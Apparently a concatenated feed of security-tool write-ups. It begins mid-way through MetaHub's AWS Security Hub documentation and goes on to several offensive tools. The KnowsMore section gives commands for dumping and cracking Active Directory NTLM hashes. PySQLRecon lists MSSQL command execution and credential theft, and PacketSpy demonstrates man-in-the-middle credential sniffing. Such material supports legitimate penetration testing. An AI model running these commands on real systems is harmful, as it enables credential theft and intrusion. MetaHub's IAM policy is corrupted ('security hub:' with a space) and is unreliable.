• --sh-profile: You can also provide your AWS profile name to use for AWS Security Hub. When using this option, you don't need to specify --sh-account or --sh-assume-role as MetaHub will use the credentials from the profile. If you are using --sh-account and --sh-assume-role, those options take precedence over --sh-profile.

IAM Policy for Security Hub

This is the minimum IAM policy you need to read and write from AWS Security Hub. If you don't want to update your findings with MetaHub, you can remove the securityhub:BatchUpdateFindings action.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "security hub:GetFindings",
                "security hub:ListFindingAggregators",
                "security hub:BatchUpdateFindings",
                "iam:ListAccountAliases"
            ],
            "Resource": [
                "*"
            ]
        }
    ]
}

Configuring Context

If you are running MetaHub for a multiple AWS Account setup (AWS Security Hub is aggregating findings from multiple AWS Accounts), you must provide the role to assume for Context queries because the affected resources are not in the same AWS Account that the AWS Security Hub findings. The --mh-assume-role will be used to connect with the affected resources directly in the affected account. This role needs to have enough policies for being able to describe resources.

IAM Policy for Context

The minimum policy needed for context includes the managed policy arn:aws:iam::aws:policy/SecurityAudit and the following actions:

• tag:GetResources
• lambda:GetFunction
• lambda:GetFunctionUrlConfig
• cloudtrail:LookupEvents
• account:GetAlternateContact
• organizations:DescribeAccount
• iam:ListAccountAliases

Examples

Inputs

MetaHub can read security findings directly from AWS Security Hub using its API. If you don't use Security Hub, you can use any ASFF-based scanner. Most cloud security scanners support the ASFF format. Check with them or leave an issue if you need help.

If you want to read from an input ASFF file, you need to use the options:

./metahub.py --inputs file-asff --input-asff path/to/the/file.json.asff path/to/the/file2.json.asff

You also can combine AWS Security Hub findings with input ASFF files specifying both inputs:

./metahub.py --inputs file-asff securityhub --input-asff path/to/the/file.json.asff

When using a file as input, you can't use the option --sh-filters for filter findings, as this option relies on AWS API for filtering. You can't use the options --update-findings or --enrich-findings as those findings are not in the AWS Security Hub. If you are reading from both sources at the same time, only the findings from AWS Security Hub will be updated.

Output Modes

MetaHub can generate different programmatic and visual outputs. By default, all output modes are enabled: json-short, json-full, json-statistics, json-inventory, html, csv, and xlsx.

The outputs will be saved in the outputs/ folder with the execution date.

If you want only to generate a specific output mode, you can use the option --output-modes with the desired output mode.

For example, if you only want to generate the output json-short, you can use:

./metahub.py --output-modes json-short

If you want to generate json-short, json-full and html outputs, you can use:

./metahub.py --output-modes json-short json-full html

• JSON
• HTML
• CSV
• XLSX

JSON

JSON-Short

Show all findings titles together under each affected resource and the AwsAccountId, Region, and ResourceType:

JSON-Full

Show all findings with all data. Findings are organized by ResourceId (ARN). For each finding, you will also get: SeverityLabel, Workflow, RecordState, Compliance, Id, and ProductArn:

JSON-Inventory

Show a list of all resources with their ARN.

JSON-Statistics

Show statistics for each field/value. In the output, you will see each field/value and the number of occurrences; for example, the following output shows statistics for six findings.

HTML

You can create rich HTML reports of your findings, adding your context as part of them.

HTML Reports are interactive in many ways:

• You can add/remove columns.
• You can sort and filter by any column.
• You can auto-filter by any column
• You can group/ungroup findings
• You can also download that data to xlsx, CSV, HTML, and JSON.

CSV

You can create CSV reports of your findings, adding your context as part of them.

 

XLSX

Similar to CSV but with more formatting options.

Customize HTML, CSV or XLSX outputs

You can customize which Context keys to unroll as columns for your HTML, CSV, and XLSX outputs using the options --output-tag-columns and --output-config-columns (as a list of columns). If the keys you specified don't exist for the affected resource, they will be empty. You can also configure these columns by default in the configuration file (See Customizing Configuration).

For example, you can generate an HTML output with Tags and add "Owner" and "Environment" as columns to your report using the:

./metahub --output-modes html --output-tag-columns Owner Environment

Filters

You can filter the security findings and resources that you get from your source in different ways and combine all of them to get exactly what you are looking for, then re-use those filters to create alerts.

• Security Hub Filtering
• Security Hub Filtering using YAML templates
• Config Filters
• Tags Filters

Security Hub Filtering

MetaHub supports filtering AWS Security Hub findings in the form of KEY=VALUE filtering for AWS Security Hub using the option --sh-filters, the same way you would filter using AWS CLI but limited to the EQUALS comparison. If you want another comparison, use the option --sh-template Security Hub Filtering using YAML templates.

You can check available filters in AWS Documentation

./metahub --sh-filters <KEY=VALUE>

If you don't specify any filters, default filters are applied: RecordState=ACTIVE WorkflowStatus=NEW

Passing filters using this option resets the default filters. If you want to add filters to the defaults, you need to specify them in addition to the default ones. For example, adding SeverityLabel to the default filters:

./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW

If a value contains spaces, you should specify it using double quotes: "ProductName="Security Hub"

You can add how many different filters you need to your query and also add the same filter key with different values:

Examples:

• Filter by Severity (CRITICAL):

./metaHub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW SeverityLabel=CRITICAL

• Filter by Severity (CRITICAL and HIGH):

./metaHub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW SeverityLabel=CRITICAL SeverityLabel=HIGH

• Filter by Severity and AWS Account:

./metaHub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW SeverityLabel=CRITICAL AwsAccountId=1234567890

• Filter by Check Title:

./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW Title="EC2.22 Unused EC2 security groups should be removed"

• Filter by AWS Resource Type:

./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceType=AwsEc2SecurityGroup

• Filter by Resource ID:

./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceId="arn:aws:ec2:eu-west-1:01234567890:security-group/sg-01234567890"

• Filter by Finding Id:

./metahub --sh-filters Id="arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.19/finding/01234567890-1234-1234-1234-01234567890"

• Filter by Compliance Status:

./metahub --sh-filters ComplianceStatus=FAILED

Security Hub Filtering using YAML templates

MetaHub lets you create complex filters using YAML files (templates) that you can re-use when needed. YAML templates let you write filters using any comparison supported by AWS Security Hub like "EQUALS' | 'PREFIX' | 'NOT_EQUALS' | 'PREFIX_NOT_EQUALS". You can call your YAML file using the option --sh-template <<FILE>>.

You can find examples under the folder templates

• Filter using YAML template default.yml:

./metaHub --sh-template templates/default.yml

Config Filters

MetaHub supports Config filters (and associations) using KEY=VALUE where the value can only be True or False using the option --mh-filters-config. You can use as many filters as you want and separate them using spaces. If you specify more than one filter, you will get all resources that match all filters.

Config filters only support True or False values:

• A Config filter set to True means True or with data.
• A Config filter set to False means False or without data.

Config filters run after AWS Security Hub filters:

1. MetaHub fetches AWS Security Findings based on the filters you specified using --sh-filters (or the default ones).
2. MetaHub executes Context for the AWS-affected resources based on the previous list of findings
3. MetaHub only shows you the resources that match your --mh-filters-config, so it's a subset of the resources from point 1.

Examples:

• Get all Security Groups (ResourceType=AwsEc2SecurityGroup) with AWS Security Hub findings that are ACTIVE and NEW (RecordState=ACTIVE WorkflowStatus=NEW) only if they are associated to Network Interfaces (network_interfaces=True):

./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceType=AwsEc2SecurityGroup --mh-filters-config network_interfaces=True

• Get all S3 Buckets (ResourceType=AwsS3Bucket) only if they are public (public=True):

./metahub --sh-filters ResourceType=AwsS3Bucket --mh-filters-config public=False

Tags Filters

MetaHub supports Tags filters in the form of KEY=VALUE where KEY is the Tag name and value is the Tag Value. You can use as many filters as you want and separate them using spaces. Specifying multiple filters will give you all resources that match at least one filter.

Tags filters run after AWS Security Hub filters:

1. MetaHub fetches AWS Security Findings based on the filters you specified using --sh-filters (or the default ones).
2. MetaHub executes Tags for the AWS-affected resources based on the previous list of findings
3. MetaHub only shows you the resources that match your --mh-filters-tags, so it's a subset of the resources from point 1.

Examples:

• Get all Security Groups (ResourceType=AwsEc2SecurityGroup) with AWS Security Hub findings that are ACTIVE and NEW (RecordState=ACTIVE WorkflowStatus=NEW) only if they are tagged with a tag Environment and value Production:

./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceType=AwsEc2SecurityGroup --mh-filters-tags Environment=Production

Updating Workflow Status

You can use MetaHub to update your AWS Security Hub Findings workflow status (NOTIFIED, NEW, RESOLVED, SUPPRESSED) with a single command. You will use the --update-findings option to update all the findings from your MetaHub query. This means you can update one, ten, or thousands of findings using only one command. AWS Security Hub API is limited to 100 findings per update. Metahub will split your results into 100 items chucks to avoid this limitation and update your findings beside the amount.

For example, using the following filter: ./metahub --sh-filters ResourceType=AwsSageMakerNotebookInstance RecordState=ACTIVE WorkflowStatus=NEW I found two affected resources with three finding each making six Security Hub findings in total.

Running the following update command will update those six findings' workflow status to NOTIFIED with a Note:

./metahub --update-findings Workflow=NOTIFIED Note="Enter your ticket ID or reason here as a note that you will add to the finding as part of this update."

The --update-findings will ask you for confirmation before updating your findings. You can skip this confirmation by using the option --no-actions-confirmation.

Enriching Findings

You can use MetaHub to enrich back your AWS Security Hub Findings with Context outputs using the option --enrich-findings. Enriching your findings means updating them directly in AWS Security Hub. MetaHub uses the UserDefinedFields field for this.

By enriching your findings directly in AWS Security Hub, you can take advantage of features like Insights and Filters by using the extra information not available in Security Hub before.

For example, you want to enrich all AWS Security Hub findings with WorkflowStatus=NEW, RecordState=ACTIVE, and ResourceType=AwsS3Bucket that are public=True with Context outputs:

./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceType=AwsS3Bucket --mh-filters-checks public=True --enrich-findings

The --enrich-findings will ask you for confirmation before enriching your findings. You can skip this confirmation by using the option --no-actions-confirmation.

Findings Aggregation

Working with Security Findings sometimes introduces the problem of Shadowing and Duplication.

Shadowing is when two checks refer to the same issue, but one in a more generic way than the other one.

Duplication is when you use more than one scanner and get the same problem from more than one.

Think of a Security Group with port 3389/TCP open to 0.0.0.0/0. Let's use Security Hub findings as an example.

If you are using one of the default Security Standards like AWS-Foundational-Security-Best-Practices, you will get two findings for the same issue:

• EC2.18 Security groups should only allow unrestricted incoming traffic for authorized ports
• EC2.19 Security groups should not allow unrestricted access to ports with high risk

If you are also using the standard CIS AWS Foundations Benchmark, you will also get an extra finding:

• 4.2 Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389

Now, imagine that SG is not in use. In that case, Security Hub will show an additional fourth finding for your resource!

• EC2.22 Unused EC2 security groups should be removed

So now you have in your dashboard four findings for one resource!

Suppose you are working with multi-account setups and many resources. In that case, this could result in many findings that refer to the same thing without adding any extra value to your analysis.

MetaHub aggregates security findings under the affected resource.

This is how MetaHub shows the previous example with output-mode json-short:

"arn:aws:ec2:eu-west-1:01234567890:security-group/sg-01234567890": {
  "findings": [
    "EC2.19 Security groups should not allow unrestricted access to ports with high risk",
    "EC2.18 Security groups should only allow unrestricted incoming traffic for authorized ports",
    "4.2 Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389",
    "EC2.22 Unused EC2 security groups should be removed"
  ],
  "AwsAccountId": "01234567890",
  "Region": "eu-west-1",
  "ResourceType": "AwsEc2SecurityGroup"
}

This is how MetaHub shows the previous example with output-mode json-full:

"arn:aws:ec2:eu-west-1:01234567890:security-group/sg-01234567890": {
  "findings": [
    {
      "EC2.19 Security groups should not allow unrestricted access to ports with high risk": {
        "SeverityLabel": "CRITICAL",
        "Workflow": {
          "Status": "NEW"
        },
        "RecordState": "ACTIVE",
        "Compliance": {
          "Status": "FAILED"
        },
        "Id": "arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.22/finding/01234567890-1234-1234-1234-01234567890",
        "ProductArn": "arn:aws:security hub:eu-west-1::product/aws/security hub"
      }
    },
    {
      "EC2.18 Security groups should only allow unrestricted incoming traffic for authorized ports": {
        "SeverityLabel": "HIGH",
        "Workflow": {
          "Status": "NEW"
        },
        "RecordState": "ACTIVE",<   br/>        "Compliance": {
          "Status": "FAILED"
        },
        "Id": "arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.22/finding/01234567890-1234-1234-1234-01234567890",
        "ProductArn": "arn:aws:security hub:eu-west-1::product/aws/security hub"
      }
    },
    {
      "4.2 Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389": {
        "SeverityLabel": "HIGH",
        "Workflow": {
          "Status": "NEW"
        },
        "RecordState": "ACTIVE",
        "Compliance": {
          "Status": "FAILED"
        },
        "Id": "arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.22/finding/01234567890-1234-1234-1234-01234567890",
        "ProductArn": "arn:aws:security hub:eu-west-1::product/aws/security hub"
      }
    },
    {
      "EC2.22    Unused EC2 security groups should be removed": {
        "SeverityLabel": "MEDIUM",
        "Workflow": {
          "Status": "NEW"
        },
        "RecordState": "ACTIVE",
        "Compliance": {
          "Status": "FAILED"
        },
        "Id": "arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.22/finding/01234567890-1234-1234-1234-01234567890",
        "ProductArn": "arn:aws:security hub:eu-west-1::product/aws/security hub"
      }
    }
  ],
  "AwsAccountId": "01234567890",
  "AwsAccountAlias": "obfuscated",
  "Region": "eu-west-1",
  "ResourceType": "AwsEc2SecurityGroup"
}

Your findings are combined under the ARN of the resource affected, ending in only one result or one non-compliant resource.

You can now work in MetaHub with all these four findings together as if they were only one. For example, you can update these four Workflow Status findings using only one command: See Updating Workflow Status

Contributing

You can follow this guide if you want to contribute to the Context module guide.

Download Metahub

KnowsMore - A Swiss Army Knife Tool For Pentesting Microsoft Active Directory (NTLM Hashes, BloodHound, NTDS And DCSync)

KnowsMore officially supports Python 3.8+.

Main features

• Import NTLM Hashes from .ntds output txt file (generated by CrackMapExec or secretsdump.py)
• Import NTLM Hashes from NTDS.dit and SYSTEM
• Import Cracked NTLM hashes from hashcat output file
• Import BloodHound ZIP or JSON file
• BloodHound importer (import JSON to Neo4J without BloodHound UI)
• Analyse the quality of password (length , lower case, upper case, digit, special and latin)
• Analyse similarity of password with company and user name
• Search for users, passwords and hashes
• Export all cracked credentials direct to BloodHound Neo4j Database as 'owned object'
• Other amazing features...

Getting stats

knowsmore --stats

This command will produce several statistics about the passwords like the output bellow

KnowsMore v0.1.4 by Helvio Junior
Active Directory, BloodHound, NTDS hashes and Password Cracks correlation tool
https://github.com/helviojunior/knowsmore

 [+] Startup parameters
     command line: knowsmore --stats 
     module: stats
     database file: knowsmore.db

 [+] start time 2023-01-11 03:59:20
[?] General Statistics
+-------+----------------+-------+
|   top | description    |   qty |
|-------+----------------+-------|
|     1 | Total Users    | 95369 |
|     2 | Unique Hashes  | 74299 |
|     3 | Cracked Hashes | 23177 |
|     4 | Cracked Users  | 35078 |
+-------+----------------+-------+

 [?] General Top 10 passwords
+-------+-------------+-------+
|   top | password    |   qty |
|-------+-------------+-------|
|     1 | password    |  1111 |
|     2 | 123456      |   824 |
|     3 | 123456789   |   815 |
|     4 | guest       |      553 |
|     5 | qwerty      |   329 |
|     6 | 12345678    |   277 |
|     7 | 111111      |   268 |
|     8 | 12345       |   202 |
|     9 | secret      |   170 |
|    10 | sec4us      |   165 |
+-------+-------------+-------+

 [?] Top 10 weak passwords by company name similarity
+-------+--------------+---------+----------------------+-------+
|   top | password     |   score |   company_similarity |   qty |
|-------+--------------+---------+----------------------+-------|
|     1 | company123   |    7024 |                   80 |  1111 |
|     2 | Company123   |    5209 |                   80 |   824 |
|     3 | company      |    3674 |                  100 |   553 |
|     4 | Company@10   |    2080 |                   80 |   329 |
|     5 | company10    |    1722 |                   86 |   268 |
|     6 | Company@2022 |    1242 |                   71 |   202 |
|     7 | Company@2024 |    1015 |                      71 |   165 |
|     8 | Company2022  |     978 |                   75 |   157 |
|     9 | Company10    |     745 |                   86 |   116 |
|    10 | Company21    |     707 |                   86 |   110 |
+-------+--------------+---------+----------------------+-------+

Installation

Simple

pip3 install --upgrade knowsmore

Note: If you face problem with dependency version Check the Virtual ENV file

Execution Flow

There is no an obligation order to import data, but to get better correlation data we suggest the following execution flow:

1. Create database file
2. Import BloodHound files
   1. Domains
   2. GPOs
   3. OUs
   4. Groups
   5. Computers
   6. Users
3. Import NTDS file
4. Import cracked hashes

Create database file

All data are stored in a SQLite Database

knowsmore --create-db

Importing BloodHound files

We can import all full BloodHound files into KnowsMore, correlate data, and sync it to Neo4J BloodHound Database. So you can use only KnowsMore to import JSON files directly into Neo4j database instead of use extremely slow BloodHound User Interface

# Bloodhound ZIP File
knowsmore --bloodhound --import-data ~/Desktop/client.zip

# Bloodhound JSON File
knowsmore --bloodhound --import-data ~/Desktop/20220912105336_users.json

Note: The KnowsMore is capable to import BloodHound ZIP File and JSON files, but we recommend to use ZIP file, because the KnowsMore will automatically order the files to better data correlation.

Sync data to Neo4j BloodHound database

# Bloodhound ZIP File
knowsmore --bloodhound --sync 10.10.10.10:7687 -d neo4j -u neo4j -p 12345678

Note: The KnowsMore implementation of bloodhount-importer was inpired from Fox-It BloodHound Import implementation. We implemented several changes to save all data in KnowsMore SQLite database and after that do an incremental sync to Neo4J database. With this strategy we have several benefits such as at least 10x faster them original BloodHound User interface.

Importing NTDS file

Option 1

Note: Import hashes and clear-text passwords directly from NTDS.dit and SYSTEM registry

knowsmore --secrets-dump -target LOCAL -ntds ~/Desktop/ntds.dit -system ~/Desktop/SYSTEM

Option 2

Note: First use the secretsdump to extract ntds hashes with the command bellow

secretsdump.py -ntds ntds.dit -system system.reg -hashes lmhash:ntlmhash LOCAL -outputfile ~/Desktop/client_name

After that import

knowsmore --ntlm-hash --import-ntds ~/Desktop/client_name.ntds

Generating a custom wordlist

knowsmore --word-list -o "~/Desktop/Wordlist/my_custom_wordlist.txt" --batch --name company_name

Importing cracked hashes

Cracking hashes

First extract all hashes to a txt file

# Extract NTLM hashes to file
nowsmore --ntlm-hash --export-hashes "~/Desktop/ntlm_hash.txt"

# Or, extract NTLM hashes from NTDS file
cat ~/Desktop/client_name.ntds | cut -d ':' -f4 > ntlm_hashes.txt

In order to crack the hashes, I usually use hashcat with the command bellow

# Wordlist attack
hashcat -m 1000 -a 0 -O -o "~/Desktop/cracked.txt" --remove "~/Desktop/ntlm_hash.txt" "~/Desktop/Wordlist/*"

# Mask attack
hashcat -m 1000 -a 3 -O --increment --increment-min 4 -o "~/Desktop/cracked.txt" --remove "~/Desktop/ntlm_hash.txt" ?a?a?a?a?a?a?a?a

importing hashcat output file

knowsmore --ntlm-hash --company clientCompanyName --import-cracked ~/Desktop/cracked.txt

Note: Change clientCompanyName to name of your company

Wipe sensitive data

As the passwords and his hashes are extremely sensitive data, there is a module to replace the clear text passwords and respective hashes.

Note: This command will keep all generated statistics and imported user data.

knowsmore --wipe

BloodHound Mark as owned

One User

During the assessment you can find (in a several ways) users password, so you can add this to the Knowsmore database

knowsmore --user-pass --username administrator --password Sec4US@2023

# or adding the company name

knowsmore --user-pass --username administrator --password Sec4US@2023 --company sec4us

Integrate all credentials cracked to Neo4j Bloodhound database

knowsmore --bloodhound --mark-owned 10.10.10.10 -d neo4j -u neo4j -p 123456

To remote connection make sure that Neo4j database server is accepting remote connection. Change the line bellow at the config file /etc/neo4j/neo4j.conf and restart the service.

server.bolt.listen_address=0.0.0.0:7687

PipeViewer - A Tool That Shows Detailed Information About Named Pipes In Windows

The tool was published as part of a research about Docker named pipes:
"Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation – Part 1"
"Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation – Part 2"

Overview

PipeViewer is a GUI tool that allows users to view details about Windows Named pipes and their permissions. It is designed to be useful for security researchers who are interested in searching for named pipes with weak permissions or testing the security of named pipes. With PipeViewer, users can easily view and analyze information about named pipes on their systems, helping them to identify potential security vulnerabilities and take appropriate steps to secure their systems.

Usage

Double-click the EXE binary and you will get the list of all named pipes.

Build

We used Visual Studio to compile it.
When downloading it from GitHub you might get error of block files, you can use PowerShell to unblock them:

Get-ChildItem -Path 'D:\tmp\PipeViewer-main' -Recurse | Unblock-File

Warning

We built the project and uploaded it so you can find it in the releases.
One problem is that the binary will trigger alerts from Windows Defender because it uses the NtObjerManager package which is flagged as virus.
Note that James Forshaw talked about it here.
We can't change it because we depend on third-party DLL.

Features

• A detailed overview of named pipes.
• Filter\highlight rows based on cells.
• Bold specific rows.
• Export\Import to\from JSON.
• PipeChat - create a connection with available named pipes.

Demo

Credit

We want to thank James Forshaw (@tyranid) for creating the open source NtApiDotNet which allowed us to get information about named pipes.

License

Copyright (c) 2023 CyberArk Software Ltd. All rights reserved
This repository is licensed under Apache-2.0 License - see LICENSE for more details.

References

For more comments, suggestions or questions, you can contact Eviatar Gerzi (@g3rzi) and CyberArk Labs.

PySQLRecon - Offensive MSSQL Toolkit Written In Python, Based Off SQLRecon

PySQLRecon is a Python port of the awesome SQLRecon project by @sanjivkawa. See the commands section for a list of capabilities.

Install

PySQLRecon can be installed with pip3 install pysqlrecon or by cloning this repository and running pip3 install .

Commands

All of the main modules from SQLRecon have equivalent commands. Commands noted with [PRIV] require elevated privileges or sysadmin rights to run. Alternatively, commands marked with [NORM] can likely be run by normal users and do not require elevated privileges.

Support for impersonation ([I]) or execution on linked servers ([L]) are denoted at the end of the command description.

adsi                 [PRIV] Obtain ADSI creds from ADSI linked server [I,L]
agentcmd             [PRIV] Execute a system command using agent jobs [I,L]
agentstatus          [PRIV] Enumerate SQL agent status and jobs [I,L]
checkrpc             [NORM] Enumerate RPC status of linked servers [I,L]
clr                  [PRIV] Load and execute .NET assembly in a stored procedure [I,L]
columns              [NORM] Enumerate columns within a table [I,L]
databases            [NORM] Enumerate databases on a server [I,L]
disableclr           [PRIV] Disable CLR integration [I,L]
disableole           [PRIV] Disable OLE automation procedures [I,L]
disablerpc              [PRIV] Disable RPC and RPC Out on linked server [I]
disablexp            [PRIV] Disable xp_cmdshell [I,L]
enableclr            [PRIV] Enable CLR integration [I,L]
enableole            [PRIV] Enable OLE automation procedures [I,L]
enablerpc            [PRIV] Enable RPC and RPC Out on linked server [I]
enablexp             [PRIV] Enable xp_cmdshell [I,L]
impersonate          [NORM] Enumerate users that can be impersonated
info                 [NORM] Gather information about the SQL server
links                [NORM] Enumerate linked servers [I,L]
olecmd               [PRIV] Execute a system command using OLE automation procedures [I,L]
query                [NORM] Execute a custom SQL query [I,L]
rows                 [NORM] Get the count of rows in a table [I,L]
search               [NORM] Search a table for a column name [I,L]
smb                  [NORM] Coerce NetNTLM auth via xp_dirtree [I,L]
tables               [NORM] Enu   merate tables within a database [I,L]
users                [NORM] Enumerate users with database access [I,L]
whoami               [NORM] Gather logged in user, mapped user and roles [I,L]
xpcmd                [PRIV] Execute a system command using xp_cmdshell [I,L]     

Usage

PySQLRecon has global options (available to any command), with some commands introducing additional flags. All global options must be specified before the command name:

pysqlrecon [GLOBAL_OPTS] COMMAND [COMMAND_OPTS]

View global options:

pysqlrecon --help

View command specific options:

pysqlrecon [GLOBAL_OPTS] COMMAND --help

Change the database authenticated to, or used in certain PySQLRecon commands (query, tables, columns rows), with the --database flag.

Target execution of a PySQLRecon command on a linked server (instead of the SQL server being authenticated to) using the --link flag.

Impersonate a user account while running a PySQLRecon command with the --impersonate flag.

--link and --impersonate and incompatible.

Development

pysqlrecon uses Poetry to manage dependencies. Install from source and setup for development with:

git clone https://github.com/tw1sm/pysqlrecon
cd pysqlrecon
poetry install
poetry run pysqlrecon --help

Adding a Command

PySQLRecon is easily extensible - see the template and instructions in resources

TODO

• Add SQLRecon SCCM commands
• Add Azure SQL DB support?

References and Credits

• Impacket
• @sanjivkawa for the SQLRecon project
• https://securityintelligence.com/x-force/databases-beware-abusing-microsoft-sql-server-with-sqlrecon/
• https://gist.github.com/skahwah/a585e176e4a5cf319b0c759637f5c410
• Also checkout MSSqlPwner for other offensive MSSQL capabilities written in Python

PacketSpy - Powerful Network Packet Sniffing Tool Designed To Capture And Analyze Network Traffic

PacketSpy is a powerful network packet sniffing tool designed to capture and analyze network traffic. It provides a comprehensive set of features for inspecting HTTP requests and responses, viewing raw payload data, and gathering information about network devices. With PacketSpy, you can gain valuable insights into your network's communication patterns and troubleshoot network issues effectively.

Features

• Packet Capture: Capture and analyze network packets in real-time.
• HTTP Inspection: Inspect HTTP requests and responses for detailed analysis.
• Raw Payload Viewing: View raw payload data for deeper investigation.
• Device Information: Gather information about network devices, including IP addresses and MAC addresses.

Installation

git clone https://github.com/HalilDeniz/PacketSpy.git

Requirements

PacketSpy requires the following dependencies to be installed:

pip install -r requirements.txt

Getting Started

To get started with PacketSpy, use the following command-line options:

root@denizhalil:/PacketSpy# python3 packetspy.py --help                          
usage: packetspy.py [-h] [-t TARGET_IP] [-g GATEWAY_IP] [-i INTERFACE] [-tf TARGET_FIND] [--ip-forward] [-m METHOD]

options:
  -h, --help            show this help message and exit
  -t TARGET_IP, --target TARGET_IP
                        Target IP address
  -g GATEWAY_IP, --gateway GATEWAY_IP
Gateway IP address
  -i INTERFACE, --interface INTERFACE
                        Interface name
  -tf TARGET_FIND, --targetfind TARGET_FIND
                        Target IP range to find
  --ip-forward, -if     Enable packet forwarding
  -m METHOD, --method METHOD
                        Limit sniffing to a specific HTTP method

Examples

1. Device Detection

root@denizhalil:/PacketSpy# python3 packetspy.py -tf 10.0.2.0/24 -i eth0

        Device discovery
**************************************
   Ip Address       Mac Address
**************************************
    10.0.2.1      52:54:00:12:35:00
    10.0.2.2      52:54:00:12:35:00
    10.0.2.3      08:00:27:78:66:95
    10.0.2.11     08:00:27:65:96:cd
    10.0.2.12     08:00:27:2f:64:fe

2. Man-in-the-Middle Sniffing

root@denizhalil:/PacketSpy# python3 packetspy.py -t 10.0.2.11 -g 10.0.2.1 -i eth0
******************* started sniff *******************

HTTP Request:
    Method: b'POST'
    Host: b'testphp.vulnweb.com'
    Path: b'/userinfo.php'
    Source IP: 10.0.2.20
    Source MAC: 08:00:27:04:e8:82
    Protocol: HTTP
    User-Agent: b'Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0'

Raw Payload:
b'uname=admin&pass=mysecretpassword'

HTTP Response:
    Status Code: b'302'
    Content Type: b'text/html; charset=UTF-8'
--------------------------------------------------

FootNote

Https work still in progress

Contributing

Contributions are welcome! To contribute to PacketSpy, follow these steps:

1. Fork the repository.
2. Create a new branch for your feature or bug fix.
3. Make your changes and commit them.
4. Push your changes to your forked repository.
5. Open a pull request in the main repository.

Contact

If you have any questions, comments, or suggestions about PacketSpy, please feel free to contact me:

• LinkedIn: LinkedIn
• TryHackMe: TryHackMe
• Instagram: Instagram
• YouTube: YouTube
• Email: halildeniz313@gmail.com

License

PacketSpy is released under the MIT License. See LICENSE for more information.

APIDetector - Efficiently Scan For Exposed Swagger Endpoints Across Web Domains And Subdomains

APIDetector is a powerful and efficient tool designed for testing exposed Swagger endpoints in various subdomains with unique smart capabilities to detect false-positives. It's particularly useful for security professionals and developers who are engaged in API testing and vulnerability scanning.

Features

• Flexible Input: Accepts a single domain or a list of subdomains from a file.
• Multiple Protocols: Option to test endpoints over both HTTP and HTTPS.
• Concurrency: Utilizes multi-threading for faster scanning.
• Customizable Output: Save results to a file or print to stdout.
• Verbose and Quiet Modes: Default verbose mode for detailed logs, with an option for quiet mode.
• Custom User-Agent: Ability to specify a custom User-Agent for requests.
• Smart Detection of False-Positives: Ability to detect most false-positives.

Getting Started

Prerequisites

Before running APIDetector, ensure you have Python 3.x and pip installed on your system. You can download Python here.

Installation

Clone the APIDetector repository to your local machine using:

git clone https://github.com/brinhosa/apidetector.git
cd apidetector
pip install requests 

Usage

Run APIDetector using the command line. Here are some usage examples:

• Common usage, scan with 30 threads a list of subdomains using a Chrome user-agent and save the results in a file:

  python apidetector.py -i list_of_company_subdomains.txt -o results_file.txt -t 30 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"

• To scan a single domain:

  python apidetector.py -d example.com

• To scan multiple domains from a file:

  python apidetector.py -i input_file.txt

• To specify an output file:

  python apidetector.py -i input_file.txt -o output_file.txt

• To use a specific number of threads:

  python apidetector.py -i input_file.txt -t 20

• To scan with both HTTP and HTTPS protocols:

  python apidetector.py -m -d example.com

• To run the script in quiet mode (suppress verbose output):

  python apidetector.py -q -d example.com

• To run the script with a custom user-agent:

  python apidetector.py -d example.com -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"

Options

• -d, --domain: Single domain to test.
• -i, --input: Input file containing subdomains to test.
• -o, --output: Output file to write valid URLs to.
• -t, --threads: Number of threads to use for scanning (default is 10).
• -m, --mixed-mode: Test both HTTP and HTTPS protocols.
• -q, --quiet: Disable verbose output (default mode is verbose).
• -ua, --user-agent: Custom User-Agent string for requests.

RISK DETAILS OF EACH ENDPOINT APIDETECTOR FINDS

Exposing Swagger or OpenAPI documentation endpoints can present various risks, primarily related to information disclosure. Here's an ordered list based on potential risk levels, with similar endpoints grouped together APIDetector scans:

1. High-Risk Endpoints (Direct API Documentation):

• Endpoints:
  • '/swagger-ui.html', '/swagger-ui/', '/swagger-ui/index.html', '/api/swagger-ui.html', '/documentation/swagger-ui.html', '/swagger/index.html', '/api/docs', '/docs', '/api/swagger-ui', '/documentation/swagger-ui'
• Risk:
  • These endpoints typically serve the Swagger UI interface, which provides a complete overview of all API endpoints, including request formats, query parameters, and sometimes even example requests and responses.
  • Risk Level: High. Exposing these gives potential attackers detailed insights into your API structure and potential attack vectors.

2. Medium-High Risk Endpoints (API Schema/Specification):

• Endpoints:
  • '/openapi.json', '/swagger.json', '/api/swagger.json', '/swagger.yaml', '/swagger.yml', '/api/swagger.yaml', '/api/swagger.yml', '/api.json', '/api.yaml', '/api.yml', '/documentation/swagger.json', '/documentation/swagger.yaml', '/documentation/swagger.yml'
• Risk:
  • These endpoints provide raw Swagger/OpenAPI specification files. They contain detailed information about the API endpoints, including paths, parameters, and sometimes authentication methods.
